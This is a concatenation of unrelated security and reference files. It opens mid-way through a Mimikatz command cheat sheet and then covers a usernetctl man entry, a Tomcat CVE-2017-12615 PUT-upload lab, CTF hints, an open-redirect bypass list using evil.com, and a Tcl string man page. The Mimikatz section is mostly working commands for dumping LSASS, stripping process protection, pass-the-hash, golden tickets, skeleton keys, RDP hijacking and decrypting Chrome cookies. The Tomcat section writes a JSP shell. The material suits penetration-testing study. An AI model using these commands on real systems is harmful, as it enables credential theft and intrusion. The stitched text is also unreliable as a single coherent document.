of your mimikatz.exe # Now lets import the mimidriver.sys to the system mimikatz # !+ # Now lets remove the protection flags from lsass.exe process mimikatz # !processprotect /process:lsass.exe /remove # Finally run the logonpasswords function to dump lsass mimikatz # privilege::debug mimikatz # token::elevate mimikatz # sekurlsa::logonpasswords # Now lets re-add the protection flags to the lsass.exe process mimikatz # !processprotect /process:lsass.exe # Unload the service created mimikatz # !- # https://github.com/itm4n/PPLdump PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE> PPLdump.exe lsass.exe lsass.dmp PPLdump.exe -v 720 out.dmp ``` - LSA is running as virtualized process (LSAISO) by **Credential Guard** ```powershell # Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso # Lets inject our own malicious Security Support Provider into memory # require mimilib.dll in the same folder mimikatz # misc::memssp # Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log ``` ## Mini Dump Dump the lsass process with `procdump` > Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that. ```powershell # HTTP method - using the default way certutil -urlcache -split -f http://live.sysinternals.com/procdump.exe C:\Users\Public\procdump.exe C:\Users\Public\procdump.exe -accepteula -ma lsass.exe lsass.dmp # SMB method - using the pid net use Z: https://live.sysinternals.com tasklist /fi "imagename eq lsass.exe" # Find lsass's pid Z:\procdump.exe -accepteula -ma $lsass_pid lsass.dmp ``` Dump the lsass process with `rundll32` ```powershell rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full ``` Use the minidump: * Mimikatz: `.\mimikatz.exe "sekurlsa::minidump lsass.dmp"` ```powershell mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonPasswords ``` * Pypykatz: `pypykatz lsa minidump lsass.dmp` ## Pass The Hash ```powershell mimikatz # sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell ``` ## Golden ticket ```powershell .\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt ``` ```powershell .\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit ``` ## Skeleton key ```powershell privilege::debug misc::skeleton # map the share net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz # login as someone rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab ``` ## RDP Session Takeover Use `ts::multirdp` to patch the RDP service to allow more than two users. * Enable privileges ```powershell privilege::debug token::elevate ``` * List RDP sessions ```powershell ts::sessions ``` * Hijack session ```powershell ts::remote /id:2 ``` Run `tscon.exe` as the SYSTEM user, you can connect to any session without a password. ```powershell # get the Session ID you want to hijack query user create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55" net start sesshijack ``` ## RDP Passwords Verify if the service is running: ```ps1 sc queryex termservice tasklist /M:rdpcorets.dll netstat -nob | Select-String TermService -Context 1 ``` * Extract passwords manually ```ps1 procdump64.exe -ma 988 -accepteula C:\svchost.dmp strings -el svchost* | grep Password123 -C3 ``` * Extract passwords using Mimikatz ```ps1 privilege::debug ts::logonpasswords ``` ## Credential Manager & DPAPI ```powershell # check the folder to find credentials dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\* # check the file with mimikatz $ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 # find master key $ mimikatz !sekurlsa::dpapi # use master key $ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b ``` ### Chrome Cookies & Credential ```powershell # Saved Cookies dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" /masterkey:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b # Saved Credential in Chrome dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect ``` ### Task Scheduled credentials ```powershell mimikatz(commandline) # vault::cred /patch TargetName : Domain:batch=TaskScheduler:Task:{CF3ABC3E-4B17-ABCD-0003-A1BA192CDD0B} / <NULL> UserName : DOMAIN\user Comment : <NULL> Type : 2 - domain_password Persist : 2 - local_machine Flags : 00004004 Credential : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Attributes : 0 ``` ### Vault ```powershell vault::cred /in:C:\Users\demo\AppData\Local\Microsoft\Vault\" ``` ## Commands list | Command |Definition| |:----------------:|:---------------| | CRYPTO::Certificates|list/export certificates| |CRYPTO::Certificates | list/export certificates| |KERBEROS::Golden | create golden/silver/trust tickets| |KERBEROS::List | list all user tickets (TGT and TGS) in user memory. No special privileges required since it only displays the current user’s tickets.Similar to functionality of “klist”.| |KERBEROS::PTT | pass the ticket. Typically used to inject a stolen or forged Kerberos ticket (golden/silver/trust).| |LSADUMP::DCSync | ask a DC to synchronize an object (get password data for account). No need to run code on DC.| |LSADUMP::LSA | Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject). Use to dump all Active Directory domain credentials from a Domain Controller or lsass.dmp dump file. Also used to get specific account credential such as krbtgt with the parameter /name: “/name:krbtgt”| |LSADUMP::SAM | get the SysKey to decrypt SAM entries (from registry or hive). The SAM option connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts. This is used to dump all local credentials on a Windows computer.| |LSADUMP::Trust | Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly). Dumps trust keys (passwords) for all associated trusts (domain/forest).| |MISC::AddSid | Add to SIDHistory to user account. The first value is the target account and the second value is the account/group name(s) (or SID). Moved to SID:modify as of May 6th, 2016.| |MISC::MemSSP | Inject a malicious Windows SSP to log locally authenticated credentials.| |MISC::Skeleton | Inject Skeleton Key into LSASS process on Domain Controller. This enables all user authentication to the Skeleton Key patched DC to use a “master password” (aka Skeleton Keys) as well as their usual password.| |PRIVILEGE::Debug | get debug rights (this or Local System rights is required for many Mimikatz commands).| |SEKURLSA::Ekeys | list Kerberos encryption keys| |SEKURLSA::Kerberos | List Kerberos credentials for all authenticated users (including services and computer account)| |SEKURLSA::Krbtgt | get Domain Kerberos service account (KRBTGT)password data| |SEKURLSA::LogonPasswords | lists all available provider credentials. This usually shows recently logged on user and computer credentials.| |SEKURLSA::Pth | Pass- theHash and Over-Pass-the-Hash| |SEKURLSA::Tickets | Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computer’s AD computer account. Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users).| |TOKEN::List | list all tokens of the system| |TOKEN::Elevate | impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box| |TOKEN::Elevate /domainadmin | impersonate a token with Domain Admin credentials. ## Powershell version Mimikatz in memory (no binary on disk) with : - [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1) from PowerShellEmpire - [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1) from PowerSploit More information can be grabbed from the Memory with : - [Invoke-Mimikittenz](https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1) ## References - [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821) - [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/) - [Reversing Wdigest configuration in Windows Server 2012 R2 and Windows Server 2016 - 5TH DECEMBER 2017 - ACOUCH](https://www.adamcouch.co.uk/reversing-wdigest-configuration-in-windows-server-2012-r2-and-windows-server-2016/) - [Dumping RDP Credentials - MAY 24, 2021](https://pentestlab.blog/2021/05/24/dumping-rdp-credentials/)
sec-knowleage
usernetctl === 被允许时操作指定的网络接口 ## 补充说明 **usernetctl命令** 在用于被允许时操作指定的网络接口。 ### 语法 ```shell usernetctl(参数) ``` ### 参数 * 网络接口:被操纵的网络接口; * up:激活网络接口; * down:禁用网络接口; * report:报告网络接口状态。
sec-knowleage
# Tomcat PUT方法任意写文件漏洞(CVE-2017-12615) Tomcat版本:8.5.19 ## 环境搭建 ``` docker compose build docker compose up -d ``` 运行完成后访问`http://your-ip:8080`即可看到Tomcat的Example页面。 ## 漏洞原理 参考: - http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html - https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5 - https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e 漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件: ``` <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> ``` 虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。 ## 漏洞复现 直接发送以下数据包即可在Web根目录写入shell: ``` PUT /1.jsp/ HTTP/1.1 Host: your-ip:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 5 shell ``` 如下: ![](01.png)
sec-knowleage
# TempImage ## [Flag0](./flag0) -- Found - File uploads can be hard to pin down - What happens to your filename when you see an uploaded file? - What if you make a small change to the path? ## [Flag1](./flag1) -- Found - It clearly wants one specific format - If you can't bypass that check, what can you do? - Read up on PNG chunks
sec-knowleage
## Open Redirect ## Introduction Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain ## Where to find - Sometimes it can be found in login / register / logout pages - Checking the javascript source code ## How to exploit 1. Try change the domain ``` /?redir=evil.com ``` 2. Using a whitelisted domain or keyword ``` /?redir=target.com.evil.com ``` 3. Using `//` to bypass `http` blacklisted keyword ``` /?redir=//evil.com ``` 4. Using `https:` to bypass `//` blacklisted keyword ``` /?redir=https:evil.com ``` 5. Using `\\` to bypass `//` blacklisted keyword ``` /?redir=\\evil.com ``` 6. Using `\/\/` to bypass `//` blacklisted keyword ``` /?redir=\/\/evil.com/ /?redir=/\/evil.com/ ``` 7. Using `%E3%80%82` to bypass `.` blacklisted character ``` /?redir=evil。com /?redir=evil%E3%80%82com ``` 8. Using null byte `%00` to bypass blacklist filter ``` /?redir=//evil%00.com ``` 9. Using parameter pollution ``` /?next=target.com&next=evil.com ``` 10. Using `@` or `%40` character, browser will redirect to anything after the `@` ``` /?redir=target.com@evil.com /?redir=target.com%40evil.com ``` 11. Creating folder as their domain ``` http://www.yoursite.com/http://www.theirsite.com/ http://www.yoursite.com/folder/www.folder.com ``` 12. Using `?` characted, browser will translate it to `/?` ``` /?redir=target.com?evil.com ``` 13. Bypass the filter if it only checks for domain name using `%23` ``` /?redir=target.com%23evil.com ``` 14. Host/Split Unicode Normalization ``` https://evil.c℀.example.com ``` 15. Using parsing ``` http://ⓔⓥⓘⓛ.ⓒⓞⓜ ``` 16. Using `°` symbol to bypass ``` /?redir=target.com/°evil.com ``` 17. Bypass the filter if it only allows yoou to control the path using a nullbyte `%0d` or `%0a` ``` /?redir=/%0d/evil.com ``` ## References * [Hackerone #1250758](https://hackerone.com/reports/1250758) * [@ahmadbrainworks](https://medium.com/@ahmadbrainworks/bug-bounty-how-i-earned-550-in-less-than-5-minutes-open-redirect-chained-with-rxss-8957979070e5)
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: string.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: string.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH string 3tcl 8.1 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME string \- 操纵字符串 .SH "总览 SYNOPSIS" \fBstring \fIoption arg \fR?\fIarg ...?\fR .BE .SH "描述 DESCRIPTION" .PP 依赖于 \fIoption\fR (选项)进行某种字符串操作。合法的 \fIoption\fR (可以是缩写)有: .VS 8.1 .TP \fBstring bytelength \fIstring\fR 返回一个十进制字符串,给出在内存中表示 \fIstring\fR 用的字节数。因为 UTF-8 使用一到三字节来表示 Unicode 字符,字节长度可能与通常的字符长度不同。一个脚本关心字节长度的情况较少见。多数情况下,你应该使用 \fBstring length\fR 操作。关于 UTF-8 表示的详情请参考 \fBTcl_NumUtfChars\fR 手册页。 .TP \fBstring compare\fR ?\fB\-nocase\fR? ?\fB\-length int\fR? \fIstring1 string2\fR .VE 8.1 对字符串 \fIstring1\fR 和 \fIstring2\fR\fI \fR进行逐个字符的比较。依赖于 \fIstring1\fR 在词典顺序上(lexicographically)小于、等于、大于 \fIstring2\fR,返回 -1、0、或 1。 .VS 8.1 如果指定了 \fB-length\fR ,则在比较中只使用前 \fIlength\fR 个字符。如果 \fB-length\fR 是负数,则被忽略。如果指定了 \fB-nocase\fR ,则使用大小写不敏感方式比较字符串。 .TP \fBstring equal\fR ?\fB\-nocase\fR? ?\fB-length int\fR? \fIstring1 string2\fR 对字符串 \fIstring1\fR 和 \fIstring2\fR\fI \fR进行逐个字符的比较。如果 \fIstring1\fR 和 \fIstring2\fR 等同则返回 1,否则返回 0。如果指定了 \fB-length\fR ,则在比较中只使用前 \fIlength\fR 个字符。如果 \fB-length\fR 是负数,则被忽略。如果指定了 \fB-nocase\fR ,则使用大小写不敏感方式比较字符串。 .TP \fBstring first \fIstring1 string2\fR ?\fIstartIndex\fR? .VE 8.1 在 \fIstring2\fR 中查找精确的匹配 \fIstring1 \fR中的字符的一个字符序列。如果找到,返回 \fIstring2 \fR中的第一个这样的匹配的第一个字符的索引。如果未找到,返回 -1。 .VS 8.1 如果指定了 \fIstartIndex\fR (以可被 \fBindex\fR 方法接受的任何形式),则约束查找为在 \fIstring2\fR 中从用索引指定的字符开始。例如, .RS .CS \fBstring first a 0a23456789abcdef 5\fR .CE 将返回 \fB10\fR, but .CS \fBstring first a 0123456789abcdef 11\fR .CE 将返回 \fB\-1\fR. .RE .VE 8.1 .TP \fBstring index \fIstring charIndex\fR 返回 \fIstring\fR 参数的第 \fIcharIndex \fR个字符。\fIcharIndex\fR 中 0 对应着字符串的第一个字符。 .VS 8.1 \fIcharIndex\fR 可以被指定如下: .RS .IP \fIinteger\fR 10 用整数索引指定字符。 .IP \fBend\fR 10 字符串的最后一个字符。 .IP \fBend\-\fIinteger\fR 10 字符串最后一个字符减去指定整数偏移量(例如, \fBend-1\fR 将参照“abcd”中的“c”)。 .PP .VE 8.1 如果 \fIcharIndex\fR 小于 0 或大于等于字符串的长度则返回一个空串。 .VS 8.1 .RE .TP \fBstring is \fIclass\fR ?\fB\-strict\fR? ?\fB\-failindex \fIvarname\fR? \fIstring\fR 如果 \fIstring\fR 是指定字符类的一个有效成员则返回 1,否则返回 0。如果指定了 \fB-strict\fR,则对一个空串返回 0,否则在任何类上对一个空串返回 1。如果指定了 \fB-failindex\fR,则若函数返回 0,把字符串中类不再有效的地方的索引存储到叫做 \fIvarname\fR 的变量中。如果函数返回 1则不设置 \fIvarname\fR 。识别下列字符类(类的名字可以被缩写): .RS .IP \fBalnum\fR 10 任何 Unicode 字母或数字字符。 .IP \fBalpha\fR 10 任何 Unicode 字母字符。 .IP \fBascii\fR 10 值小于 \\u0080 的任何字符(这是 7-bit ascii 的范围)。 .IP \fBboolean\fR 10 \fBTcl_GetBoolean\fR 所允许的任何形式。 .IP \fBcontrol\fR 10 任何 Unicode 控制字符。 .IP \fBdigit\fR 10 任何 Unicode 数字字符。注意这包括在 [0-9] 范围外的字符。 .IP \fBdouble\fR 10 双精度数在 Tcl 中的任何有效形式,可以有可选的围绕白空格。在值下溢/上溢的情况下,返回 0 并且 \fIvarname\fR 将包含 -1。 .IP \fBfalse\fR 10 \fBTcl_GetBoolean\fR 允许的任何形式,这里的值是假。 .IP \fBgraph\fR 10 除了空格之外的任何 Unicode 打印字符。 .IP \fBinteger\fR 10 整数在 Tcl 中的任何有效形式,可以有可选的围绕白空格。在值下溢/上溢的情况下,返回 0 并且 \fIvarname\fR 将包含 -1。 .IP \fBlower\fR 10 任何 Unicode 小写字母字符。. .IP \fBprint\fR 10 包括空格在内的任何 Unicode 打印字符。 .IP \fBpunct\fR 10 任何 Unicode 标点字符。 .IP \fBspace\fR 10 任何 Unicode 空格字符。 .IP \fBtrue\fR 10 \fBTcl_GetBoolean\fR 所允许的任何形式,这里的值是真。 .IP \fBupper\fR 10 在 Unicode 中的任何大写字符。 .IP \fBwordchar\fR 10 任何 Unicode 单字字符。它是任何字母字符和 Unicode 连接符标点字符(例如,下划线)。 .IP \fBxdigit\fR 10 任何十六进制数字字符 ([0\-9A\-Fa\-f]). .PP 在 \fBboolean\fR、\fBtrue\fR 和 \fBfalse\fR 的情况下,如果函数将返回 0,则 \fIvarname\fR 总是被设置为 0,原因是一个有效 boolean 值有多种本地(表示)。 .RE .TP \fBstring last \fIstring1 string2\fR ?\fIstartIndex\fR? .VE 8.1 在 \fIstring2\fR 中查找精确的匹配在 \fIstring1 \fR中的字符的一个字符序列。如果找到,返回在 \fIstring2 \fR中最后一个这样的匹配的第一个字符的索引。如果没有匹配,则返回 -1。 .VS 8.1 如果指定了 \fIstartIndex\fR(以可被 \fBindex\fR 方法接受的任何形式), 则查找只针对 \fIstring2\fR 中用 \fIstartIndex\fR 指定的和此前的字符。例如, .RS .CS \fBstring last a 0a23456789abcdef 15\fR .CE 将返回 \fB10\fR, 而 .CS \fBstring last a 0a23456789abcdef 9\fR .CE 将返回 \fB1\fR. .RE .VE 8.1 .TP \fBstring length \fIstring\fR 返回一个十进制字符串,给出在 \fIstring \fR中字符的数目。注意这不是必须与用于存储这个字符串的字节的数目相同。 .VS 8.1 .TP \fBstring map\fR ?\fB\-nocase\fR? \fIcharMap string\fR 基于在 \fIcharMap \fR中的键-值对替代 \fIstring\fR 中的字符。\fIcharMap\fR 是形如 \fIkey value key value\fR ... 的一个列表,同于从 \fBarray get \fR返回的那种形式。在字符串中这些键的每个实例将被替代为相应的值。如果指定了 \fB-nocase\fR,则进行匹配时不区别大小写。\fIkey\fR 和 \fIvalue\fR 二者都可以是多字节的。以一种有次序的方式进行替代,所以在列表中出现在最前面的键将被首先检查,以此类推。\fIstring\fR 只被重复操作(iterate)一次,所以早先的键替代将不影响以后的键匹配。例如, .RS .CS \fBstring map {abc 1 ab 2 a 3 1 0} 1abcaababcabababc\fR .CE 将返回字符串 \fB01321221\fR. .RE .TP \fBstring match\fR ?\fB\-nocase\fR? \fIpattern\fR \fIstring\fR .VE 8.1 查看 \fIpattern\fR 是否匹配 \fIstring\fR;如果是则返回 1,不是则返回 0。 .VS 8.1 如果指定了 \fB-nocase\fR,则针对字符串的模式匹配采用大小写不敏感的方式。 .VE 8.1 对于要进行匹配的这两个字符串,除了在 \fIpattern \fR中可以出现的下列特殊序列之外它们的内容必须相同: .RS .IP \fB*\fR 10 匹配 \fIstring \fR中任何字符的一个序列,包括一个空字符。 .IP \fB?\fR 10 匹配 \fIstring\fR 中的一个单一字符。 .IP \fB[\fIchars\fB]\fR 10 匹配在用 \fIchars \fR给出的集合中的任何字符。如果在 \fIchars\fR 中出现一个形式是 \fIx\fB\-\fIy\fR 的一个序列,则匹配在 \fIx\fR 和 \fIy\fR,之间的任何字符,包括二者。 .VS 8.1 当与 \fB\-nocase \fR一起使用的时候,范围的端点首先被转换为小写。所以在大小写敏感匹配时 {[A\-z]} 匹配‘_’(‘_’位于‘Z’和‘a’之间),加上 \fB-nocase\fR 则将被象 {[A\-Za\-z]} 那样对待(并可能是前者的真实意图)。 .VE 8.1 .IP \fB\e\fIx\fR 10 匹配单一字符 \fIx\fR。这提供了一种方式避免在 \fIpattern \fR中对字符 \fB*?[]\e\fR 做特殊解释。 .RE .TP \fBstring range \fIstring first last\fR 从 \fIstring \fR返回一个范围的连续字符,从索引是 \fIfirst\fR 的字符开始并结束于索引是 \fIlast\fR 的字符。 索引 0 参照字符串的 .VS 8.1 第一个字符。可以按 \fBindex\fR 方法的方式指定 \fIfirst\fR 和 \fIlast\fR 。 .VE 8.1 如果 \fIfirst\fR 小于零,则把它作为零对待,而如果 \fIlast\fR 大于等于字符串的长度,则把它作为 \fBend\fR 对待。如果 \fIfirst\fR 大于 \fIlast\fR 则返回空串。 .VS 8.1 .TP \fBstring repeat \fIstring count\fR 把 \fIstring \fR重复 \fIcount\fR 次后返回。 .TP \fBstring replace \fIstring first last\fR ?\fInewstring\fR? 从 \fIstring\fR 删除一个范围的连续字符,范围从索引是 \fIfirst\fR 的字符开始并结束于索引是 \fIlast\fR 的字符。索引 0 参照字符串的第一个字符。可以按 \fBindex\fR 方法的方式指定 \fIfirst\fR 和 \fIlast\fR 。如果指定了 \fInewstring\fR ,则把它放置在删除的字符范围中。如果 \fIfirst\fR 小于零,则把它作为零对待,而如果 \fIlast\fR 大于等于字符串的长度,则把它作为 \fBend\fR 对待。如果 \fIfirst\fR 大于 \fIlast \fR或最初的字符串的长度 ,或者 \fIlast\fR 小于 0,则不做变动的返回最初的字符串。 .TP \fBstring tolower \fIstring\fR ?\fIfirst\fR? ?\fIlast\fR? 返回一个等同于 \fIstring\fR 的值,但所有大写(或标题)字母都被转换为小写。如果指定了 \fIfirst\fR,则它参照字符串中开始修改的第一个字符的索引。如果指定了 \fIlast\fR,则它参照字符串中修改停止到(包括它)的那个字符的索引。按 \fBindex\fR 方法的方式指定 \fIfirst\fR 和 \fIlast\fR。 .TP \fBstring totitle \fIstring\fR ?\fIfirst\fR? ?\fIlast\fR? 返回等同于 \fIstring\fR 的一个值,但把 \fIstring\fR 的第一个字符转换成它的 Unicode 标题大写变体(如果没有标题大写变体则为大写)而把字符串的其余部分转换成小写。如果指定了 \fIfirst\fR,则它参照字符串中开始修改的第一个字符的索引。如果指定了 \fIlast\fR,则它参照字符串中修改停止到(包括它)的那个字符的索引。按 \fBindex\fR 方法的方式指定 \fIfirst\fR 和 \fIlast\fR。 .TP \fBstring toupper \fIstring\fR ?\fIfirst\fR? ?\fIlast\fR? 返回一个等同于 \fIstring\fR 的值,但所有小写(或标题)字母都被转换为大写。如果指定了 \fIfirst\fR,则它参照字符串中开始修改的第一个字符的索引。如果指定了 \fIlast\fR,则它参照字符串中修改停止到(包括它)的那个字符的索引。按 \fBindex\fR 方法的方式指定 \fIfirst\fR 和 \fIlast\fR。 .VE 8.1 .TP \fBstring trim \fIstring\fR ?\fIchars\fR? 返回一个等同于 \fIstring\fR 的值,但删除了任何前导或尾随的用 \fIchars\fR 给出的字符集合中字符。如果未指定 \fIchars\fR 则删除白空格(空格、tab、换行、回车)。 .TP \fBstring trimleft \fIstring\fR ?\fIchars\fR? 返回一个等同于 \fIstring\fR 的值,但删除了任何前导的用 \fIchars\fR 给出的字符集合中字符。如果未指定 \fIchars\fR 则删除白空格(空格、tab、换行、回车)。 .TP \fBstring trimright \fIstring\fR ?\fIchars\fR? 返回一个等同于 \fIstring\fR 的值,但删除了任何尾随的用 \fIchars\fR 给出的字符集合中字符。如果未指定 \fIchars\fR 则删除白空格(空格、tab、换行、回车)。 .VS 8.1 .TP 